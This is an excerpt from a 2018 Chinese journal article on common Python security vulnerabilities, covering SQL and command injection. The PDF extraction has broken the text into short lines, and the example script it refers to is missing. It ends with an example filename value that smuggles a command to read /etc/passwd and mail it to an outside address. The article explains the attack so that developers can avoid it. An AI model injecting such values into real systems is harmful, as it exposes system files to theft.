Python
常见安全漏洞及修复方法
■ 姜
唐
【期刊名称】
计算机与网络
【年
(
卷
),
期】
2018(044)023
【总页数】
2
编写安全的代码很困难,当学习一门编程语言、一个模块或框架时,会学习其
使用方法。在考虑安全性时,需要考虑如何避免代码被滥用,
Python
也不例
外,即使在标准库中,也存在着许多糟糕的实例。然而,许多
Python
开发人
员却根本不知道这些。
以下总结
10
个
Python
常见安全漏洞,排名不分先后。
1.
输入注入
注入攻击影响广泛且很常见,注入有很多种类,它们影响所有的语言、框架和
环境。
SQL
注入是直接编写
SQL
查询(而非使用
ORM
)时将字符串与变量混合。我
读过很多代码,其中“引号字符转义”被认为是一种修复,但事实并非如此,
可以通过
SQL
注入所有可能发生的方式。
命令注入有可能在使用
popen
,
subprocess
,
os.system
调用一个进程并从
变量中获取参数时发生,当调用本地命令时,有人可能会将某些值设置为恶意
值。
下面是个简单的脚本,使用用户提供的文件名调用子进程:
攻
击
者
会
将
filename
的
值
设
置
为
“;cat/etc/passwd|mail
them@domain.com
或者其他同样危险的值。